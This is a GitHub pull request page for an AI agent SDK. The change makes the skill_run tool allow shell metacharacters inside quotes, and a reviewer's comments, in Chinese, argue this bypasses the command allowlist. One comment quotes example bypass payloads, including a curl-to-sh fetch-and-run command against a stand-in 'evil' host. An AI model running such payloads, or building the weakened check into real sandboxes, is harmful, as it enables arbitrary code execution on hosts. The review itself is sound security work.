Skip to content

fix: 修复引号内的字符串被误认为危险命令 #349

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
helloopenworld merged 1 commit into from
Sep 29, 2026
Merged

fix: 修复引号内的字符串被误认为危险命令 #349

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions tests/skills/tools/test_skill_run.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -87,6 +87,23 @@ def test_split_command_line(self):
with pytest.raises(ValueError):
_split_command_line("a | b")

@pytest.mark.parametrize(
("command", "expected"),
[
('python3 calc.py --expr "A > 5"', ["python3", "calc.py", "--expr", "A > 5"]),
("grep -E 'a|b' data.txt", ["grep", "-E", "a|b", "data.txt"]),
('echo "x;y"', ["echo", "x;y"]),
(r"echo x\&y", ["echo", "x&y"]),
],
)
def test_split_command_line_allows_quoted_or_escaped_shell_meta(self, command, expected):
assert _split_command_line(command) == expected

@pytest.mark.parametrize("meta", [">", "<", "|", ";", "&", "\n", "\r"])
def test_split_command_line_rejects_unquoted_shell_meta(self, meta):
with pytest.raises(ValueError, match="shell meta character"):
_split_command_line(f"echo before{meta}after")
Comment on lines +90 to +105

@helloopenworld helloopenworld Sep 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

问题： 新增测试仅断言 _split_command_line/_build_command 返回的纯 argv 元组，没有任何用例运行或检查它经 run_program 真正执行后的行为，尤其缺少对引号内多语句载荷（python3 -c 'import os; print(1)'、bash -c 'echo hi; id'）以及本地 create_subprocess_exec/容器 bash -lc/cube 三种运行时的往返覆盖。

触发条件： 未来将分词逻辑替换为 shlex.split 之类同样放行引号内元字符的实现，或在容器/cube 运行时中参数被重新解析为 shell 语法时，所有新增测试仍保持绿色，安全回归不被发现。

实际影响： 本次变更的核心安全边界（引号内元字符经解释器变为可执行代码）完全没有被测试保护，回归会静默合入；同时容器与 cube 运行时下对引号内 ;/| 的重新解释行为与本地运行时不一致，测试无法暴露此不一致。

修正方向： 增加端到端用例：在允许 python3 的前提下以 -c 传含 ; 的表达式，断言被拒绝（或执行结果符合安全预期）；对容器运行时路径用真实 _shell_quote 拼装 bash -lc 后断言参数以字面量到达目标程序。


def test_build_editor_wrapper_script(self):
script = _build_editor_wrapper_script("/tmp/file")
assert script.startswith("#!/bin/sh")
Expand Down Expand Up @@ -115,6 +132,20 @@ def test_build_command(self):
assert cmd == "bash"
assert "-c" in args

def test_build_restricted_command_preserves_quoted_shell_meta_argument(self):
repo = MagicMock()
repo.workspace_runtime = MagicMock()
tool = SkillRunTool(repository=repo, allowed_cmds=["python3"])

cmd, args = tool._build_command(
'python3 calc.py --expr "A > 5"',
"/tmp/ws",
"skills/x",
)

assert cmd == "python3"
assert args == ["calc.py", "--expr", "A > 5"]

def test_get_repository(self):
repo = MagicMock()
repo.workspace_runtime = MagicMock()
Expand Down
9 changes: 4 additions & 5 deletions trpc_agent_sdk/skills/tools/_skill_run.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -232,11 +232,6 @@ def _split_command_line(cmd: str) -> list[str]:
"""
if not cmd.strip():
raise ValueError("skill_run: command is empty")
for ch in _DISALLOWED_SHELL_META:
if ch in cmd:
raise ValueError(f"skill_run: shell meta character {ch!r} is not allowed when "
"command restrictions are enabled. Provide a single executable "
"with args only (no redirects/pipes/chaining).")
args: list[str] = []
cur: list[str] = []
in_single = False
Expand All @@ -256,6 +251,10 @@ def _split_command_line(cmd: str) -> list[str]:
if not in_single and ch == '"':
in_double = not in_double
continue
if not in_single and not in_double and ch in _DISALLOWED_SHELL_META:
raise ValueError(f"skill_run: shell meta character {ch!r} is not allowed when "
"command restrictions are enabled. Provide a single executable "
"with args only (no redirects/pipes/chaining).")
Comment on lines +254 to +257

@helloopenworld helloopenworld Sep 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

问题： 将元字符检查从整串预扫描改为仅在未加引号且未转义时拒绝（not in_single and not in_double），引号内或转义后的元字符被重组为单个 argv 参数原样交给执行器，绕过 _DISALLOWED_SHELL_META。基线版本（98ab3dd）的整串扫描对含任一元字符的命令一律抛 ValueError，本变更使该拒绝只在未加引号位置生效，攻击面随之放开。

触发条件： 启用 allowed_cmds/denied_cmds 限制（含 TRPC_AGENT_SKILL_RUN_ALLOWED_COMMANDS/TRPC_AGENT_SKILL_RUN_DENIED_COMMANDS 环境变量）且 argv[0] 通过校验，模型或技能给出 bash -c 'echo hi; id'、python3 -c 'import os; os.system("curl http://evil/x | sh")' 等引号内含 ;、|、& 的多语句形式。本地运行时经 create_subprocess_exec 以解释器参数直接执行；容器与 cube 运行时对每个 token 做单引号转义并拼入 bash -lc（_shell_quote 无引号逃逸），-c 操作数在解释器内重新解析为代码，仍会执行。

实际影响： 限制模式下可在宿主机（本地运行时）或工作区容器（容器/cube）执行任意多语句/管道链命令，视为绕过命令白名单的任意代码执行；同时工具声明与报错文案仍宣称 no shell syntax / no redirects/pipes/chaining，与实现不再一致，误导依赖该保护的调用方。

修正方向： 在 _build_command 中对解释器型命令（argv[0] 为 bash/sh/python*/perl 等且参数含 -c/-e/-m）恢复对引号内元字符的全量拒绝（对此类复合命令不适用引号内放行），或改为校验最终 argv 参数中不出现任何 _DISALLOWED_SHELL_META 字符的语义等价检查，并相应更新工具声明文案。

Comment on lines +254 to +257

@helloopenworld helloopenworld Sep 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

问题： 新放行的引号/转义输入经分词器得到的 argv 与 POSIX bash 语义不一致，参数往返（round-trip）失真。分词器在双引号内也把反斜杠当转义并剥除，而 bash 在双引号内仅对 $、反引号、"、\、换行等特殊字符去转义，普通字符前的反斜杠会保留；此外反斜杠+换行被直接拼入 token（该分支先于本行检查执行），bash 则将其视为续行并删除。基线版本因整串预扫描而必然拒绝这类输入，是本次变更使该偏差变得可达。

触发条件： 限制模式下命令含双引号内转义元字符或续行符，如 echo "a\&b"（分词得 a&b，bash 语义为 a\&b）、反斜杠+换行续行（分词产生含字面换行的参数）、echo "a\"b" 等。

实际影响： 本次修复本意是让引号内元字符按字面传给程序，但生成的 argv 与用户期望的 shell 语义不同：grep -e "a\>b" 实际搜索 a>b 而非 a\>b，多行续行命令被拆成含换行的错误参数，程序收到与预期不符的输入，产生错误结果或执行失败，且新旧版本对同一合法命令行为不一致。

修正方向： 使分词器遵循 POSIX 双引号规则：双引号内仅对 "、\\、$、反引号、换行做转义处理，其余字符保留反斜杠；并将 \+换行按 bash 续行处理（直接丢弃）。若兼容既有行为有困难，至少为这些用例补充与 bash 语义对照的测试并明确文档说明。

Comment on lines +254 to +257

@helloopenworld helloopenworld Sep 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

问题： _get_declaration（约 470-474 行）与 _split_command_line 报错文案仍宣称 Restrictions enabled: no shell syntax; one executable + args only; no > < | ; && || 以及 no redirects/pipes/chaining，而本次变更后引号内和转义后的全部元字符均可通过（本行新检查仅在未加引号位置生效），声明与实际强制行为不再一致，属于本变更引入的契约失真。

触发条件： 模型读取工具声明后基于不存在的限制做决策：要么因惧怕报错而回避合法的引号内元字符参数（如 grep -E 'a|b'），要么在无限制假设下依赖并不存在的防护编排多语句命令。

实际影响： 声明中的安全承诺是部署方评估风险（是否再加运行时隔离）的依据，文案失真会使过于乐观的安全评估；同时既有的放行能力被描述为禁止，降低工具可用性。

修正方向： 将声明与报错文案改为如实描述：元字符在引号内/转义时以字面参数传递，但限制模式下解释器 -c/-e 复合命令仍被禁止（若按第一条修正实现），或明确说明引号不构成命令级隔离、限制仅作用于词法层。

if not in_single and not in_double and ch in (" ", "\t"):
if cur:
args.append("".join(cur))
Expand Down
Loading